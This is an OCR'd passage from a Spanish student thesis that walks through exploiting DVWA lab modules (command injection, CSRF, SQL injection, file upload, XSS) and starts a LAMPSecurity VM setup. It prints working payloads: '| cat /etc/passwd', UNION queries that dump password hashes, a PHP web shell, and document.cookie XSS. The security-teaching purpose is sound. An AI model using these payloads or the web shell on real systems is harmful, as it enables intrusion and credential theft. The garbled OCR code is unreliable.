“&&”y “;”, lo que refleja la prohibicion de usar estos caracteres. Como el objetivo es el
de conseguw una concatenacion de caracteres se podran usar “&” y “” con el mismo fin.

Codigo PHP
<?php

$substitutions = array(
|&&l — n
|,| :> ||,
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

7>

Como se observa, se puede realizar un ataque debido al mal funcionamiento del
codigo. A continuacion, se realizan unos simples ejemplos en las siguientes figuras de lo
que se puede realizar con esta vulnerabilidad. En este caso, son tres comandos simples

22

——
| —



que indican que se puede seguir leyendo datos del sistema con la simple concatenacion
de codigo.

Ping for FREE

Enter an IP address below:

| whoami submit

wwwW—-data

Figura 4.13: Comando whoami sobre Command Execution

Ping for FREE

Enter an IP address below:

& lg| submit

Figura 4.14: Comando Is sobre Command Execution

Ping for FREE

Enter an IP address below:

1| cat /etc/passw| submit

114:RealtimeKit, ,
fsaned:

fnonexistent:/bin/false

Figura 4. 15: Obtencidn de carpeta /etc/passwd en nivel de seguridad MEDIUM
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Por ultimo, se observa el script afiadido en el nivel de seguridad HIGH. En este
caso se tienen varias restricciones afiadidas.

e Elcomando “explode” separa la cadena a través de un punto “.” Separando
de esta manera los octetos de la IP.

e Laaplicacion se asegurara de que los 4 octetos separados por puntos sean
nameros enteros.

e La tercera restriccion es la encargada de asegurarse de que hay cuatro
cadenas de numeros.

e Cuando se intenta escribir alguno de los anteriores comandos, la aplicacion
nos devolvera un “ERROR: You have entered an invalid IP”.

Cadigo PHP
<?php

$octet = explode(".", $target);

if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is
_numeric($octet[3])) && (sizeof($octet) ==4) ) {

$target = $octet[0]."." $octet[1]."." $octet[2]."" $octet[3];

else {
echo '<pre>ERROR: You have entered an invalid IP</pre>";

}

7>

Por lo tanto, lo Gnico que se puede hacer en este caso, seria abrir la maquina virtual
Kali Linux, y explotar la aplicacién con alguna herramienta de un modo mucho mas
sencillo.

3.3. Cross Site Request Forgery(CSFR):

Esta vulnerabilidad trata sobre el robo de identidad que se puede llegar a producir en la
red debido a que al abrir una sesién en una pagina web, esta guarda en las cookies cierta
informacidn sobre este proceso que puede llegar a utilizarse para robar y conseguir informacién
sensible. La aplicacion al abrirla luce de la siguiente manera.
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Change your admin password:

New password:

Confirm new password:

Change

Figura 4.16: Interfaz CSRF

En este caso la ayuda dice de usar la explotacion forzando al usuario de la
aplicacion a ejecutar alguna accion predefinida por el atacante. De esta manera podremos
comprometer al usuario final y operar como un usuario normal.

Help - Cross Site Request Forgery (CSRF)

CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently
authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web
application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation
in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

Figura 4.17: Ayuda CSRF

El funcionamiento normal de la aplicacion es el de cambiar la contrasefia del
usuario. Con el modo de seguridad LOW se podria cambiar la contrasefia de manera
sencilla, introduciendo lo que quieras en los dos huecos.

Change your admin password:

MNew password:

SRR BERER

Confirm new password:
Change
Password Changed

Figura 4.18: Funcionamiento de CSRF

Una vez introducida la nueva contrasefia, aparece el mensaje de «Password

changed» y se ve como ha cambiado la direccion URL, donde se aprecia que la
contrasefia (“TFGJose”) se ha filtrado:

http://10.210.160.73/dvwa/vulnerabilities/csrf/?password new=TFGJose&
password _conf=TFGJose&Change=Change#
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http://10.210.160.73/dvwa/vulnerabilities/csrf/?password_new=TFGJose&%20password_conf=TFGJose&Change=Change
http://10.210.160.73/dvwa/vulnerabilities/csrf/?password_new=TFGJose&%20password_conf=TFGJose&Change=Change

Sin embargo, para realizar la explotacion de la aplicacion, se debe acudir al cédigo
de la pagina esta vez clicando sobre el boton derecho y “Ver codigo fuente de la pagina”,
a continuacion, se abre el terminal del ordenador Kali Linux y se introduce el siguiente
comando con el objetivo de modificar el documento html:

Comando terminal Kali Linux
#nano /var/www/html/csrf.html

Se copian las siguientes lineas extraidas del cddigo fuente de la pagina web en el
archivo que se abre:

GNU nano Z.8.7 File: /var/www/html/csrf.html Modified

New password:

Confirm new password:

Figura 4.19: Copia de codigo HTML

Para explotar esta vulnerabilidad, se debe introducir la contrasefia que se quiera
cambiando este texto, de la siguiente manera:

e Introducir « value = “NuevaContraseiia” » a continuacién de « password_new »
y « password_conf ».
e Sustituir « # » con la pagina web de « dvwa/csrf »

GNU nano 2.8.7 [ File: /var/www/html/csrf.html Modified
New password:=$

Confirm new password:

Figura 4.2021: Copia de codigo HTML modificada.

Para guardar los cambios realizados y salir del editor de texto, se debe pulsar sobre
“<CTRL + X>, <y>y <Enter>". A continuacion, en una pestafia nueva se introduce la
siguiente direccion web « localhost/csrf.html », donde podremos ver la siguiente figura:
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() | localhost/csrf.html
Most Visitedw [ Offensive Securi

New password:

Confirm new password:

| Change |

Figura 4.22: Pagina csrf.html

Lo que muestran estas pestafias son la contrasefia cambiada desde el terminal de
Kali Linux, en nuestro caso “TFGJose”. Pulsando ¢l boton de “Change” se cambiara la
contrasefia automaticamente. Como se puede ver en la direccion URL de la siguiente
imagen, la nueva contrasefia se ha cambiado automaticamente.

L BNOF N WWFpassword_new=TFGJose&password_conf=TFGJoseXaiEh=C o SN

[ Most Visited~ [l Offensive Security S Kali Linux & Kali Docs " Kali Tools % Exploit-|

File Inclusion

SQL Injection Password Changed

TE - -

Home | Vulnerability: Cross Site R
le VM VirtualBox JUCtions Change your admin password:

Setup |

New password:

Brute Force |

(ST | Confirm new password:

Insecure CAPTCHA | ~Change |

|

Figura 4.23: Observacion de contrasefia cambiada en URL

Esta es una de los atagues mas basicos que se pueden hacer sobre esta
vulnerabilidad para cambiar la contrasefia. Este tipo de ataques se realizan de manera muy
comun, haciendo que pulses sobre un documento HTML que haga que el atacante obtenga
la informacion necesaria y pueda realizar el ataque correspondiente.

3.4. SQL Injection:

Esta vulnerabilidad tratara de introducir cadigo SQL adicional para modificar los
parametros ya existentes corrompiendo la funcionalidad de la aplicacion. Como se ve en
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la siguiente imagen, la interfaz de la aplicacién solo tiene un recuadro que rellenar con en
namero de usuario.

Vulnerability: SQL Injection

User ID:

| Submit |

Figura 4.24: Interfaz SQL Injection

Tal y como dicen la ayuda, un ataque a esta vulnerabilidad consiste en obtener
informacion sensible de la base de datos o incluso modificarla ejecutando comandos. Este
ataque consistia en un principio en intentar robar las claves a los 5 usuarios que hay en la
base de datos.

Help - SQL Injection

A SQL injection attack consists of insertion or "injection” of a SQAL query via the input data from the client to the application. A
successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute
administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS
file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in
which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

The id" variable within this PHP script is vulnerable to SQL injection.
There are 5 users in the database, with id's from 1 to 5. Your mission... to steal passwords!

If you have received a Magicquotes error, turn them off in php.ini.

Figura 4.25: Ayuda SQL Injection

En este caso, el uso de la pagina web es el de poner el nimero de identificacion,
y a continuacion se obtiene la informacidn basica de este.

User ID:

1 | Submit |

First name: admin
Surname: admin

Figura 4.26: Uso comun SQL Injection

Con el nivel de seguridad LOW se aprecia como no hay ningun tipo de restriccion
sobre lo introducido como numero de usuario, por lo que se podra escribir cualquier
comando sobre la entrada del script:
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Cédigo PHP
<?php

if(isset($_GET['SubmitT)){

$id = $_GETT['id7;

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id"";
$result = mysql_query($getid) or die('<pre>'. mysql_error() . '</pre>");

$num = mysql_numrows($result);

$1=0;

while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>";
echo 'ID: ". $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>";
Si++;

Con los comandos «1° OR 1=1#» 0 « A' OR"="» entre otros, se obtiene la
identidad de todos los usuarios en la base de datos:

User ID:
TOR 1=1 4

ID: 1' OR 1=1 #
First name: admin
Surname: admin
ID: 1' OR 1=1 #
First name: Gordon
Surname: EBrown
ID: 1' OR 1=1 #
First name: Hack
Surname: Me

ID: 1' OR 1=1 #
First name: Pablo
Surname: Picasso
ID: 1' OR 1=1 #
First name: EBob
Surname: Smith

Figura 4.27: Obtencion datos SQL Injection LOW.

Si lo que se quiere es ver, por ejemplo, la version de MySQL, para saber que
propiedades y peculiaridades son con la que vamos a trabajar, podremos utilizar el
comando: « ‘union select 1,@@version# »:
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User ID:

‘union select 1,@@version#  Submit |

ID: 'union select 1, @@version#
First name: 1
Surname: 5.5.52-0Oubuntuw0.14.04.1

Figura 4. 28: Versién MYSQL de SQL Injection

Si, por ejemplo, se quiere identificar la version del hostname se puede hacer de la

siguiente manera « * union select null,@ @hostname # »:

User ID:
" union| select null,@@hostn | Submit
ID: ' union select null, @hostname #

First name:

Surname: rt-po—XXx

Figura 4. 29: Versién hostname en SQL Injection.

Ejecutando el siguiente comando, se obtienen los hashes que facilmente pueden

ser desencriptados para conocer asi las contrasefias de los diferentes usuarios de la base
de datos, con « 1" or 1 =1 UNION SELECT user, password from dvwa.users# »:

ID: 1' or 1 = 1 TUNION SELECT user, password from dvwa.users¥
irst name: admin

Surname: 5f4dcc3biaaTe5deld8327deb882c£99
ID: 1' or 1 = 1 UNION SELECT user, password from dvwa.users#
irst name: gordonb

Surname: e99%3l18c428cb38dSf2608536T8922e03

ID: 1" or 1 = 1 UNIONM SELECT user, password from dvwa.users#
First name: 1337

Surname: 8d3533d75aelc3fe6dTeld4fcce8216b
ID: 1' or 1 = 1 UNICN SELECT user, password from dvwa.userss
First name: pablo

Surname: 0d107d09f5bbed40cade3deScTleSeSh7
ID: 1' or 1 = 1 UNION SELECT user, password from dvwa.userss
First name: smithy

Surname: 5f4dcc3biaa765d61d8327deb882cf99

Figura 4. 30: Hashes a traves de SQL Injection LOW.

Otro ejemplo util de explotacién es con el siguiente comando, que proporciona la

direccion de la base de datos del sistema « ‘union select null, @ @datadir # »:
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User ID:
lion select null, @@datadir # | Submit

ID: 'union select null, @@datadir #
First name:

Surname: /var/lib/mysgl/

Figura 4. 31: Direccidn de la base de datos del sistema.

Se puede ver como hasta ahora hemos conseguido informacién de todo tipo. Como es de
esperar hay otras muchas maneras diferentes de obtener la misma informacion, asi como otras
maneras para obtener diferentes respuestas de la aplicacion.

El fichero /etc/passwd es la primera linea de defensa que posee un sistema. En él
se encuentran las cuentas de usuario, claves de acceso y ciertos privilegios de usuario. Si
somos capaces de acceder a él de una manera sencilla, eso diria mucho del sistema de
seguridad que posee esa aplicacion.

Si se prueba a leer archivos desde el directorio m&s comun para

buscar(/etc/passwd) se puede encontrar una cosa asi «' union all select
load_file(*/etc/passwd’),null # »:

oad_file(/etc/passwd’),null # | Submit

ID: ' union all select load file('
First name: root:x:0:0:root:/root:
daemon:x:1:1 da=nc T/

ng __st Ha 1ager:

ystem (adm;

g:ats:x:QL:ql:E:ats g-Report
nobody:x:65534: 65534 :nobod
libuuid:x:100:10
syslog:=x:101:104
messagebus:ix:102:106: : fvar/run/dbus:
usbmux:x:103:46:usbmux daemon, ,,
dnsmasg:x:104:65534: d’snasq,,,:p
avahi-autoipd:x:105:113:Avahi autoip da=nc’,,, T favahi-autoipd: /bin/false
06: 65534 :Kernel Cops Tracking Daemon,,,: 1/ false

:tk;t:x:' 114:Real t_m=< t,,, ‘proc: /bin/false
saned:x:10 i fa;se
whoopsie:x:108 existent: /bin/false

speech-di spatﬂ %x:110:29:5peech Dispatcher HY A frun/ h r:/bin/sh
7:Avahi mDNS daemon,,,:/va I

8:Light Display Manager:,
lord colour managemen
User,,, :/x

o daemon

¥v50QL Server,,,:/nonexi 3t=’t';b;:£fa;se
=stack:x:1001:1001: : fopt/stack: /fbin/bash

Surname:

Figura 4. 32:Carpeta passwd.
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Se puede concluir que SQL injection en modo LOW permite acceder a
informacion muy sensible sobre el administrados de la aplicacién sin ningln tipo de
impedimento.

Si ahora se observa el nivel de seguridad MEDIUM, en el codigo se ve una
diferencia en el script. Una vez méas, y con el manual PHP delante,
“mysql_real_escape_string” explica que introduce barras invertidas en algunos

caracteres (\x00, \n, \r, \, ', " y \x1a ), por lo que se debe evitar el uso de estos caracteres.

Caodigo PHP
<?php

if (isset($_GET['Submit])) {

$id =$_GET[id;
$id = mysql_real_escape_string($id);

$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid) or die('<pre>". mysql_error() . '</pre>");
$num = mysqgl_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>",
echo 'ID: ". $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>",
Bi++;

Para hacer frente a este reto, y tras varias pruebas, al final se obtiene una manera
de esquivar el nivel de seguridad medio con el siguiente comando: « 1 UNION ALL
SELECT first_name, password from dvwa.users » donde se obtienen los mismos
‘hashes’ obtenidos con anterioridad.

User ID:

+, password from dvwa.users | Submit

e: 5fddcc3bSaalE5d61d8327deb882cE90

Figura 4.33: Hashes a traves de SQL Injection MEDIUM
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A raiz de este comando, se puede obtener del mismo modo la misma informacion obtenida
con el modo de seguridad bajo.

En el caso del nivel de seguridad HIGH, como se ve en su script, las restricciones
son tales que no se es capaz de encontrar un comando directo capaz de facilitar
informacion sensible del usuario. Para ello, se ha dispuesto de la misma restriccion del
nivel MEDIUM, a la que se han afiadido:

e “striplashes”: quita las barras de un string con comillas.
e “if (is_numeric)”: determina si es un numero el script introducido.

Codigo PHP
<?php

if (isset($_GET['Submit])) {

$id =$_GET['idT;
$id = stripslashes($id);
$id = mysql_real_escape_string($id);

if (is_numeric($id)){
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id"’;
$result = mysql_query($getid) or die('<pre>'. mysql_error() . '</pre>');
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i, "first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>";
echo 'ID: ". $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>";
$i++;

Dado que no existe una manera directa de encontrar un comando directo, que
pueda evitar los diferentes modos de seguridad, lo Unico que se puede hacer es recurrir al
uso de alguna herramienta tal como “Tamper data” o similares en Kali Linux para poder
acceder a la informacion sensible en modo HIGH.

3.5. File Upload:

El funcionamiento de la aplicacion se basa en descargar ficheros para integrarlos
en el sistema. De este modo, se aprovechara para colgar un fichero malicioso en la web a
través de este portal.
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Vulnerability: File Upload

Choose an image to upload:

Examinar... | Mo se ha seleccionado ningln archivo.
Upload

Figura 4. 34: Interfaz File Upload.

Lo que se hard, por tanto, tal como se muestra en la ayuda es obtener algun codigo
para poder atacar la web. Lo unico que hara faltar es poder ejecutar el codigo pertinente.

Help - File Upload

Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the system to be attacked.
Then the attack only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step.

The consequences of unrestricted file upload can vary, including complete system takeaver, an overloaded file system, forwarding attacks to
backend systems, and simple defacement. It depends on what the application does with the uploaded file, including where it is stored.

Another thing worth looking for are restrictions within ‘hidden’ form fields.

Figura 4. 35: Ayuda File Upload.

Se empieza con el nivel de seguridad LOW. En este caso al observar el cddigo de
la aplicacidn se ve como no tiene ninguna restriccion al tipo de archivo.

<?php
if (isset($_POST['Upload)) {

$target_path = DVWA_WEB_PAGE_TO_ROOT ."hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);

if('move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>"
echo "Your image was not uploaded.";
echo '</pre>";

}

else {

echo '<pre>";
echo $target_path . ' succesfully uploaded!";
echo '</pre>";
}
}

7>

Por lo tanto, lo que se hara sera subir mediante la aplicacion el siguiente fichero
al cual llamaremos cmd_shell.php .
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Codigo PHP
<?php

if(isset($_REQUEST['cmd7)){
echo "<pre>";

$cmd = ($_REQUEST['cmd']);
system($cmd);

echo "</pre>";

die;

}

7>

Una vez creado el archivo tipo .php se procede a subirlo a la red, pulsando sobre
« Examinar... » se busca el archivo creado y a continuacion se pulsa en « Upload ». La
préxima figura muestra que la carga ha sido un éxito.

Choose an image to upload:

BExaminar... | Mo se ha seleccionado ningudn archivo.
Upload

.« /.. /hackable/uploads/cnd shell.php succesfully uploaded!

Figura 4.36: Cargar un archivo en File Upload.

Las letras rojas indican la direccion de destino donde se encuentra el archivo
que se acaba de subir, las letras de la direccidén web en color verde se afiaden para obtener
el archivo buscado del usuario atacado, sustituyendo {***} por ‘whoami’, ‘Is’ etc:

{direccion_IP_DVWA}/dvwa/hackable/uploads/cmd_shell.php?cmd=***

3.6. XSS reflected:

En este caso, lo que se tratara es de introducir un c6digo HTML o Javascript con el fin de

obtener informacidn de los usuarios. La interfaz de esta vulnerabilidad es como indica la siguiente
figura:

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

Submit

El funcionamiento es el esperado al ver la aplicacion, una vez te pregunta el
nombre y lo insertas devuelve un saludo.

——
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What's your name?

Jose Gabriell Submit

La ayuda que ofrece la aplicacion dice que la intencion de la vulnerabilidad es
usar un script malicioso que provoque la accesibilidad al navegador sin gque este tenga
modo alguno de saber la intrusion que recibe.

Help - Cross Site Scripting (XSS)

Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site
scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side scrpt, to a different end
user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates
without validating or encoding it.

An attacker can use XS5 to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted.
and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other
sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.

Example: http:/127.0.0.1/dvwa/xss_php?name=javascript

En modo de seguridad LOW, como se observa una vez mas, en el cédigo no hay
ninguna restriccion, por lo que tenemos total accesibilidad, ya que lo Unico que
comprueba es que no haya una entrada vacia.

Codigo PHP
<?php

if('array_key_exists ("name", $_GET) || $_GET['name]l == NULL || $_GET['name'] == "){

Sisempty = true;

}else {

echo '<pre>"

echo 'Hello '. $_GET['name'];
echo '</pre>",

¥

7>

Por lo pronto, se podra crear un pop-up emergente de la aplicacion
introduciendo « <script> alert("TFGJose’)</script> » como se muestra en la siguiente
figura:
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TFGJose

Otro script que se puede introducir con el objetivo de cambiar la fuente de
escritura de color a verde lima «<font color = "lime™> TFGJose </font>»:

What's your name?

Submit

Hella TFGJose

Como podemos ver, el modo LOW no presenta ningun tipo de restriccion y por
tanto se puede hacer lo que se quiera. Al conseguir un pop-up se puede utilizar para
obtener la informacion que se desee obtener, como se ve mas adelante.

Si se observa el modo MEDIUM, se ve en el codigo que se reemplaza las cadenas
de “<script>" con una cadena vacia “

<?php

if('array_key_exists ("name", $_GET) || $_GET['name] == NULL || $_GET['name'] == "){
$isempty = true;

}else {

echo '<pre>"

echo 'Hello ' str_replace('<script>', ", $_GET['name']);
echo '</pre>";

}

7>

Al introducir el mismo script que con el nivel LOW, se corrobora que elimina los
‘<script>’, produciendo el fallo en el codigo ejecutado «<script>
alert("TFGJose")</script> »
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What's your name?

pt> alert(TFGJose’)</script=| | Submit

Hello alert|('TFGJo=se')

Por simple que parezca, todo lo que se debe hacer en este caso es reemplazar el
‘<script>" inicial por ‘<SCRIPT>’ escrito con mayusculas, pues el codigo hace una
distincion de ambas, asi que podemos volver al pop-up que queriamos con
« <SCRIPT>alert('TFGJose")</SCRIPT> » :

TFGJose

Otra informacién que se podria obtener son las cookies asociadas a un documento
gracias a « <SCRIPT>alert(document.cookie)</SCRIPT> » :

security=medium; PHPSES5ID=03ea7j69h0bk4dupupagktuirdr2

De nuevo se puede esquivar la vulnerabilidad en nivel de dificultad MEDIUM,
simplemente introduciendo una combinacion de caracteres en mayuscula y minuscula de
la palabra “<script>".

Pasando al modo HIGH se puede ver en el codigo ‘htmlispecialchars’ lo que,
mirando el manual de PHP vemos que provocara un cambio en los siguientes caracteres:

- > alty
™ G>9 9 ‘&gt;)
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Codigo PHP
<?php

if('array_key_exists ("name"”, $_GET) || $_GET['name'] == NULL || $_GET['name’] == "){
Sisempty = true;

}else {

echo '<pre>"
echo 'Hello ' . htmlspecialchars($_GET['name']);
echo '</pre>";

}

7>

Esta es, sin duda, una manera eficaz de prevenir ataques contra XSS reflected.
Para poder explotar esta vulnerabilidad tendremos que hacer uso de aplicaciones
especificas tales como ‘Burpsuite’ en Kali Linux.

3.7.XSS Stored:

Al igual gue se hizo en XSS Reflected, se tratara de obtener informacion del
usuario, y no del servidor, introduciendo un script en la vulnerable.

Vulnerability: Stored Cross Site Scripting (XSS)

Mame *

Message *

Sign Guestbook

El procedimiento habitual de la aplicacién es el de escribir tu nombre, un mensaje,
y este aparecera abajo:

Mame: test
Message: This is a test comment.

Mame: Jose
Message: Hello world

Mame: Carmen
Message: What is this?
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Como ya se ha dicho, este caso es parecido al anterior ya que trata de inyectar un
script malicioso a la web, la cual confiara en el script y permitiré al atacante acceder a las
cookies, informacion sensible o algo simbdlico, llegando incluso a poder reescribir
contenido de la propia pagina HTML.

Help - Cross Site Scripting (XSS)

Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites.
Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script,
to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in

the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be
trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session
tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.

The XSS payload is stored in the database. The XSS is permanent until the database is reset or the payload is manually deleted.

Situandose en el nivel de seguridad LOW, no se tiene restricciones a la hora de
escribir en el mensaje, no hay ningun bloque especifico en contra de codigo HTML ni
comandos especiales:

Codigo PHP
<?php

if(isset($_POST['btnSign'))

{
$message = trim($_POST['mtxMessage']);

$name = trim($_POST['txtNameT);

$message = stripslashes($message);

$message = mysql_real_escape_string($message);

$name = mysql_real_escape_string($name);

$query = "INSERT INTO guestbook (comment,name) VALUES (‘$message’,'$name’);";

$result = mysql_query($query) or die('<pre>". mysgl_error() . '</pre>");

¥

7>

Si se quiere aumentar el grosor de la letra del mensaje, por ejemplo, se puede
introducir lo siguiente « Message *: <h1> TFGJose </h1> ». En la siguiente figura se

observa el cambio de letra con valores de “h1” y “h3”:
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Mame: Jose
Mess

TFGJose

Mame: Jose
Message:

TFGJose

Si, al igual que se hizo en XSS Reflected, se quisiera conseguir un pop-up con un
script, se debe usar el siguiente comando, que muestra el pop-up como aparece en la
siguiente figura, « Message *:<script>alert("" TFGJose™)</script> »:

TFGJose

O variando el codigo anterior e imitando lo ya hecho en ‘XSS reflected’, se podra
rebuscar en las cookies con « <script>alert(document.cookies)</script> » :

security=low; PHPSESSID=03ea7]69n0bk4upupagkiuirarz

Evitar que esta pagina cree didlogos adicionales
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Con esto se ha observado como no hay restriccion alguna en el cédigo, lo que
permite usar los script se quiera para encontrar informacion sensible del sistema atacado.

Cambiando el nivel de seguridad a MEDIUM, y reseteando la base de datos en
“Setup/Reset Database” se puede comenzar con la explotacion de este nivel de
seguridad. En este caso, los cambios realizados en el script PHP son los siguientes:

e Evitar el uso de caracteres especiales (‘<‘> ‘&It;’ y >’ > ‘&gt;’)
e Sustitucion de la palabra ‘<script>’ por un espacio en blanco  ’.

Codigo PHP
<?php

if(isset($_POST['btnSign'))

$message = trim($_POST['mtxMessage);
$name = trim($_POST['txtName']);

$message = trim(strip_tags(addslashes($message)));
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);

$name = str_replace('<script>', ", $name);
$name = mysql_real_escape_string($nhame);

$query = "INSERT INTO guestbook (comment,name) VALUES (‘$message’,'$name’);";

$result = mysql_query($query) or die('<pre>". mysql_error() . '</pre>");

7>

Como ya intuiamos, esta vez no podremos aplicar el cdédigo anterior
(« <script>alert(""TFGJose')</script> »), para que aparezca un pop-up, obteniendo
como resultado un comentario nuevo donde se han eliminado los ‘<script>’

Mame: Jose
Message: alett(\VTFGJosel”)
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Para poder hacer uso de una explotacion adecuada, se cambian algunas cosas del
cddigo fuente HTML de la pagina en cuestion, para ello, pulsamos < F12 >, el cual abre
el modo HTML. A continuacion, pulsar sobre el botdn que hay en la esquina superior
izquierda (<Elegir un elemento de la pagina>) y seleccionar la casilla de < Name * >

HER®OE X
o Dispesicién A Tip:

Una vez que lo hemos seleccionado, en el codigo de abajo cambiamos la
« maxlength » de “10” a “100:

Codigo HTML

<input name=""txtName"" size=""30"" maxlength=""100"" type=""text''>

e Vulnerability: St ss Site Scripting (XSS)
s — oo

Name *

Sefup

Brute Force Message *

Command Execution

CSRF | Sign Guestbook |

Insecure CAPTCHA

File Inclusion

o Name: test

SOCInjection Message: This is a tbst comment

SQL Injection (Blind)
Name: Jose

Upioad Message: alent(TFGlosst’)

[® 3 nspector [ Consola (O Depurador {} Editordeestilos (@ Rendimiento  #{k Memoria = Red & Almacenamien to HBBSO®E x

+ Buscar en HTML 45 Reglas  Calculado  Disposicion Animaciones Tip:

>
<td width="188">Name *</td>

<td>

<input name="txtName" size="3@" maxlength="1@" type="text">

Lo que se acaba de hacer es aumentar el tamafio de letras que entran en el recuadro
de “Name *” con el objetivo de poder introducirnos desde aqui con el uso de algln
‘<script>’, ya que se tenia la restriccion del cddigo en el mensaje (“Message *”).

Si se introduce en el ‘Name *’ alternando mayusculas y minusculas, o todo en
mayusculas el siguiente comando «<ScRiPt>alert(**TFGJose'") </ SCRiPt >», , y con
un “Message *” cualquiera:
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TFGJose

Como se puede ver, al no limitarse a escribir “<script>" con minusculas y evitando
introducirlo en el “Message *”” hemos conseguido el objetivo.

Ahora se procede a buscar la vulnerabilidad en modo HIGH. Los cambios
producidos en comparacion con el nivel de seguridad anterior son las “stripslashes”, que
quita las barras de un string con comillas escapadas, tal y como dice el manual PHP.

<?php

if(isset($_POST['btnSign))
{

$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName");

// Sanitize message input

$message = stripslashes($message);

$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);

[/l Sanitize name input

$name = stripslashes($name);

$name = mysql_real_escape_string($name);
$name = htmlspecialchars($name);

$query = "INSERT INTO guestbook (comment,name) VALUES (‘$message’,'$name’);";
$result = mysqgl_query($query) or die('<pre>'. mysql_error() . '</pre>");

¥

7>

Si se intenta escribir el cédigo anterior con el objetivo de obtener un pop-up
(“<script>alert(""TFGJose')</script>"), se obtiene como resultado un comentario
nuevo donde se han eliminado los “<script>". Esto ya pasaba en MEDIUM.

44

——
| —



Mame: Jose
Message: &lt;h1&gt; TFGJose &lt;/h1&gt;

Para este caso no se ha podido encontrar ningin comando capaz de sobrepasar sin
reparo las restricciones establecidas por el nivel de seguridad. Por ello se debera usar
herramientas especificas de crackeo desde la maquina virtual Kali Linux.
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Capitulo 5.
Entorno LAMP Security

1.: QUE ES?

Acroénimo que se usa para designar Linux (sistema operativo), Apache (Servidor
web), MySQL (gestor de base de datos) y PHP (lenguaje de programacion). LAMP web
es uno de los servicios web mas populares elegidos para el desarrollo y despliegue de una
aplicacion web por lo que se ha elegido observar algunas vulnerabilidades que puede
tener este tipo de servicios si no se crean bien.

La idea del proyecto LAMP es la de usar Linux, Apache, MySQL y PHP a la vez
en un mismo contexto. Estos softwares de codigo abierto son mas legibles en este espacio
de trabajo.

2.;COMO INSTALARLO?

Como se ha dicho en el apartado anterior, LAMP security esta compuesto por una
serie de sistemas y servidores que deben estar instalados en nuestra maquina, por lo que
tenemos que comprobar primero que tenemos php5, apache2, mysql-server en nuestro
sistema instalados.

En el caso de tener que instalar estos servicios, los siguientes comandos te
ayudaran a ello:

#sudo apt-get install apache2 php5 libapache2-mod-php5
#sudo /etc/init.d/apache2 start
#sudo apt-get install mysql-server

#sudo gedit /etc/mysql/my.cnf ~ —>cambiar la direccion IP a la de la maquina LampSecurity
< bind-address IP LampSec >

#sudo apt-get install libapache2-mod-auth-mysql php5-mysql phpMyAdmin

#gksudo gedit /etc/php5/apache2/php.ini

#sudo /etc/init.d/apache2 restart

#sudo gedit /etc/apache2/apache2.conf  —>afadir en la ultima fila la siguiente linea:
< include /etc/phpmyadmin/apache.conf >
#sudo /etc/init.d/apache?2 restart

Una vez descargado y descomprimido el archivo zip de vulnhub.com.
(https://www.vulnhub.com/series/lampsecurity,43/ ) se puede crear la maquina desde un
VirtualBox, con las siguientes especificaciones:
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e Tipo: Other
e Version: Other/Unknown(64-bit)
e Tamafio de memoria: 1024 MB
e Disco duro: Usar un archivo de disco duro virtual existente
o Seleccionar ctf8.vmdk
o Tipo de archivo de disco duro: VDI
e Almacenamiento en unidad de disco duro fisica: Reservado dinamicamente.
e Tamafio de disco duro: 512 MB

Una vez hecho todos los pasos, se abre la maquina virtual creada hasta que nos
pida un login, esta vez dejaremos la maquina tal como esta en este punto, y ya con esto
se esta listo para trabajar sus vulnerabilidades.

Debido a que no conocemos la direccién IP de la maquina LampSecurity,
utilizaremos el terminal de Kali Linux y se busca la direccion IP de la maquina, la cual
se encuentra en nuestra misma red, a través del siguiente comando (hay multiples maneras
de encontrarlo, esta es una de ellas) :

#nmap -sV 10.210.160.0/24 —> Con la red de tu trabajo.

El mapeo de puertos de la maquina objetivo tiene que tener la siguiente pinta:

root@kali: ~ e ® 0
File Edit View Search Terminal Help

Nmap scan report for 10.210.160.184

